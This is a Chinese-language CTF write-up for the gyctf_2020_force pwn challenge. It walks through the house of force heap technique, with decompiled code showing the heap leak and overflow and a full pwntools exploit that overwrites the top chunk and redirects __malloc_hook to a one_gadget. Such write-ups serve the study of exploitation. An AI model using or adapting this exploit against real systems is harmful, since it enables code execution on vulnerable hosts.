gyctf_2020_force
house of force
做完这道题算是理解house of force 了,之前也没接触过,算是学到点新骚东西了
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
64位 保护全开
看一下ida
主要是add,puts没啥用
unsigned __int64 sub_A20()
{
const void **i; // [rsp+0h] [rbp-120h]
__int64 size; // [rsp+8h] [rbp-118h]
char s[256]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v4; // [rsp+118h] [rbp-8h]
v4 = __readfsqword(0x28u);
memset(s, 255, sizeof(s));
for ( i = (const void **)&unk_202080; *i; ++i )
;
if ( (char *)i - (char *)&unk_202080 > 39 )
exit(0);
puts("size");
read(0, nptr, 0xFuLL);
size = atol(nptr); //任意申请堆大小
*i = malloc(size);
if ( !*i )
exit(0);
printf("bin addr %p\n", *i); //泄露堆地址
puts("content");
read(0, (void *)*i, 0x50uLL); //溢出
puts("done");
return __readfsqword(0x28u) ^ v4;
}
size大小任意申请,然后还有个溢出,,只要我们申请的size小,就能通过read往下一个chunk写
可是没有edit和free,什么堆风水之类的都不行
搜集学习了一下 house of force 其实也还挺容易理解的
house of force 前提
能够申请任意大小size的chunk
有溢出修改top chunk
能够泄露top chunk的地址
libc2.23 2.27
本题都满足上述条件,上面的注释有
首先我们申请一个足够大的chunk,通过mmap分配,并且该chunk是在libc下面的,可以算出libc基地址
然后溢出将topchunk的size改成0xFFFFFFFFFFFFFFFF
因为涉及到topchunk并未对size进行细致检查(具体看源码),导致我们可以任意申请地址的chunk
然后申请到malloc执行onegadget
最后那个onegadget直接用malloc执行不了需要realloc
malloc_hook--->realloc_hook--->onegadget
exp
from pwn import*
from Yapack import *
libc=ELF('./libc-2.23.so')
context(os='linux', arch='amd64',log_level='debug')
r,elf=rec("node4.buuoj.cn",25856,"./pwn",10)
leak=add(0x200000,b'ssss')+0x200ff0
li(leak)
malloc=leak+libc.sym['__malloc_hook']
realloc=leak+libc.sym['realloc']
one=leak+0x4526a
heap=add(0x18,p64(0)*3+p64(0xFFFFFFFFFFFFFFFF))+0x10
li(heap)
#此处的0x30是因为,申请到malloc_hook的地址上,因为chunk的结构前0x10是不能写的
#因为malloc_hook和realloc_hook是连着一起的,只差了0x8
#下面的a*8就是填充辣鸡数据,
#onegadget放到了realloc_hook,realloc放到了malloc_hook
add(malloc-heap-0x30,b'aaaa')
add(0x18,b'a'*8+p64(one)+p64(realloc+0x10))
#debug()
sl(b'1')
sl(b'20')
ia()